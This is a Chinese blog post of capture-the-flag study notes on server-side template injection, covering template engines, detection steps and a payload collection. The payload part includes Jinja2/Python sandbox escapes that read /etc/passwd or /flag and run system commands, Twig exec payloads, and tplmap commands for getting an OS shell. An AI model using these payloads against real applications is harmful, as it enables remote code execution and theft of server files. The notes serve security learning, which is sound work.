2021-11-05-模板注入

模板注入

模板注入的概念

模板引擎是為了使用戶界面與業(yè)務(wù)數(shù)據(jù)(內(nèi)容)分離而產(chǎn)生的,它可以生成特定格式的文檔,用于網(wǎng)站的模板引擎就會(huì)生成一個(gè)標(biāo)準(zhǔn)的文檔,就是將模板文件和數(shù)據(jù)通過(guò)模板引擎生成一個(gè)HTML代碼。

通常來(lái)說(shuō),這類問(wèn)題會(huì)在博客,CMS,wiki 中產(chǎn)生。雖然模板引擎會(huì)提供沙箱機(jī)制,攻擊者依然有許多手段繞過(guò)它。和常見(jiàn)Web注入的成因一樣,也是服務(wù)端接收了用戶的輸入,將其作為 Web 應(yīng)用模板內(nèi)容的一部分,在進(jìn)行目標(biāo)編譯渲染的過(guò)程中,執(zhí)行了用戶插入的惡意內(nèi)容,因而可能導(dǎo)致了敏感信息泄露、代碼執(zhí)行、GetShell 等問(wèn)題。其影響范圍主要取決于模版引擎的復(fù)雜性。

示例1:定義一個(gè)模板,例如

<html>
  <div>{$what}</div>
</html>

這只是一個(gè)模板。{$what}是數(shù)據(jù)。此時(shí)不知道數(shù)據(jù)是什么。

如果我想html里面成為

<div>peiqi</div>

渲染到html代碼里,渲染完成后

<html>
 <div>peiqi</div>
</html>
模板引擎

模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,F(xiàn)reemaker和Twig,注意不同的語(yǔ)言對(duì)應(yīng)的模板:

a.png
解題步驟
  • 先判斷漏洞點(diǎn):關(guān)注參數(shù)位置

  • 判斷模板引擎,根據(jù)下面的圖測(cè)試一下

  • 找對(duì)應(yīng)的payload

b.png

python2_任意執(zhí)行

  1. 獲取基類
  ''.__class__.__mro__[-1]
  {}.__class__.__base__
  ().__class__.__base__
  [].__class__.__base__
  1. 獲取基類的子類
[].__class__.__base__.__subclasses__()

從這么多的子類中找出可以利用的類(一般是指讀寫(xiě)文件的類)加以利用

  1. 利用子類

    我們可以利用的方法有<type 'file'>等。(甚至file一般是第40號(hào))

 #存在的子模塊可以通過(guò) .index()方式來(lái)查詢
 ''.__class__.__mro__[2].__subclasses__().index(file)
 
 # 用file模塊來(lái)查詢
 [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

可以直接調(diào)用system函數(shù),有了shell其他的問(wèn)題不就解決了嗎?

().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

某些情況下system函數(shù)會(huì)被過(guò)濾。這時(shí)候也可以采用os模塊的listdir函數(shù)來(lái)讀取目錄。

 #讀取本級(jí)目錄
 ().__class__.__base__.__subclasses__()      [71].__init__.__globals__['os'].listdir('.')  

另外在某些不得已的情況下可以使用以下方式來(lái)讀取文件。

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    

SSTI

# 常用payload集合
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 

{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}

Twig

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
Tqlmap

Tplmap是一個(gè)python工具,可以通過(guò)使用沙箱轉(zhuǎn)義技術(shù)找到代碼注入和服務(wù)器端模板注入(SSTI)漏洞。該工具能夠在許多模板引擎中利用SSTI來(lái)訪問(wèn)目標(biāo)文件或操作系統(tǒng)。適用于有參數(shù)的注入

python tplmap.py -u http://xxxx/*     (無(wú)參數(shù))
python tplmap.py -u http://xxxx?name=1 (有參數(shù))

python tplmap.py -u url --os-shell   (獲取shell)

參考資料

https://www.cnblogs.com/wuhongbin/p/14281708.html

http://www.itdecent.cn/p/1f80e6561049

https://blog.csdn.net/qq_43431158/article/details/105322894

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 前言 開(kāi)局一張圖,姿勢(shì)全靠yy 模板引擎可以讓(網(wǎng)站)程序?qū)崿F(xiàn)界面與數(shù)據(jù)分離,業(yè)務(wù)代碼與邏輯代碼的分離,這大大提升...
    帥豬佩奇閱讀 12,803評(píng)論 0 5
  • 十六、模板注入 作者:Peter Yaworski 譯者:飛龍 協(xié)議:CC BY-NC-SA 4.0 模板引擎是允...
    布客飛龍閱讀 578評(píng)論 0 4
  • Flask采用Python編程語(yǔ)言來(lái)實(shí)現(xiàn)的web框架。Flask框架的主要特征是核心構(gòu)成比較簡(jiǎn)單,但具有很強(qiáng)的擴(kuò)展...
    Noslpum閱讀 1,081評(píng)論 1 1
  • 首先簡(jiǎn)單認(rèn)識(shí)一下模板注入 模板注入涉及的是服務(wù)端Web應(yīng)用使用模板引擎渲染用戶請(qǐng)求的過(guò)程,這里我們使用 PHP 模...
    Visianlee閱讀 4,630評(píng)論 0 2
  • SSTI基礎(chǔ) SSTI:Server Side Template Injection,服務(wù)端模板注入。 因?yàn)樽髡咭?..
    Arklight閱讀 9,371評(píng)論 0 1

友情鏈接更多精彩內(nèi)容